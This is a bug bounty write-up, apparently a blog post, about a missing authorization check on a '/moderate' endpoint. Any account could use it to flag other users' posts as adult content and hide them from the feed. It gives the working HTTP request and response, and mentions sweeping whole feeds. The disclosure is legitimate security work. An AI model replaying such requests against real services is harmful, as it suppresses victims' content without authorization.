recon
since i can’t disclose the program let’s call it target.com. the app had a lot
of functionality, and reading the js files was the move to understand those
functions and find hidden endpoints. while analyzing the bundles i hit a really
interesting block:
// POST /api/posts/{id}/moderate — community "flag" (the BFLA endpoint), request schema only allows reason:"MATURE"
aq=s.z.object({description:s.z.string().optional(),reason:s.z.literal("MATURE")}),
aK=s.z.object({adult:s.z.boolean().optional(),message:s.z.string(),postId:s.z.string()}),
aV=async(e,t,r)=>{let{data:a}=await e.post(`/api/posts/${t}/moderate`,aq,aK,r);return a},
// shared enums
aG={NC17:"NC17",PG:"PG",R:"R"},
aH={BLOCKED:"BLOCKED",COMPLETE:"COMPLETE",DELETED:"DELETED",REVIEW:"REVIEW"},
// POST /api/posts/{id}/moderation — staff status/category path (correctly 403 for FREE)
aY=s.z.object({category:s.z.enum(aG).optional().catch(void
0),reason:s.z.string().trim().min(1).max(500).optional(),status:s.z.enum(aH).optional().catch(void 0)}).refine(e=>void 0!==e.status||void
0!==e.category,{message:"At least one of status or category must be provided."}),
aX=async(e,t,r)=>{let{data:a}=await e.post(`/api/posts/${t}/moderation`,aY,aY,r);return a},
// GET /api/posts/{id}/moderation — moderation decision log
io=s.z.object({createdAt:s.z.string(),decision:s.z.string(),fromCat:s.z.enum(aG).nullable().catch(null),fromStatus:s.z.enum(aH).catch("REVIEW"
),id:s.z.string(),reason:s.z.string().nullable(),reviewerId:s.z.string().nullable(),toCat:s.z.enum(aG).nullable().catch(null),toStatus:s.z.enu
m(aH).catch("REVIEW")}),
is=s.z.object({data:s.z.array(io)}),
il=async(e,t)=>{let{data:r}=await e.get(`/api/posts/${t}/moderation`,is);return r}
the two endpoints (this is the whole bug)
look closely — there are two near-identical moderation routes, one character apart:
POST /api/posts/{id}/moderation— the staff path (status/category). this one is locked down correctly: a free account gets 403.POST /api/posts/{id}/moderate— the community “flag” path. same prefix, no trailing-tion. this one has no authorization check at all.
the protection was applied to one of two sibling endpoints and forgotten on the other. that’s it. that’s the finding.
exploitation
i gave the block to claude code to help me shape the request fast, grabbed a
coffee, and came back to a working call in ~10 minutes. the schema told me all i
needed: reason:"MATURE" is the only required field.
so from a low-priv attacker account (A), against a victim’s post (B) that A doesn’t own:
POST /api/posts/cmpxelehi005e01s6d9jp4vc0/moderate HTTP/2
Host: target.com
Authorization: Bearer <attacker account A>
Content-Type: application/json
{"reason":"MATURE"}
response — the mutation happening server-side:
HTTP/2 200
{"message":"Post flagged successfully.","postId":"cmpxelehi005e01s6d9jp4vc0","adult":true}
note the "adult":true in the response. that flag is what hides the post from
the default feed.
before: the post is visible in the default feed. after: one request later, it’s gone. (screenshots: feed before / feed after)
what makes this a vuln and not a normal “report this post” feature:
- a single flag from one ordinary account instantly sets
adult:true— no threshold, no quorum, no human review queue. - it works on posts you don’t own (cross-account → the BOLA half).
- no rate limit, so you can sweep a whole creator’s feed, not just one post.
- the victim can’t trivially undo it themselves.
class: broken function-level authorization (BFLA) — a privileged moderation action exposed with no role check, and no object-level ownership scoping.
i got rewarded $$$ from this bug. thanks for reading!
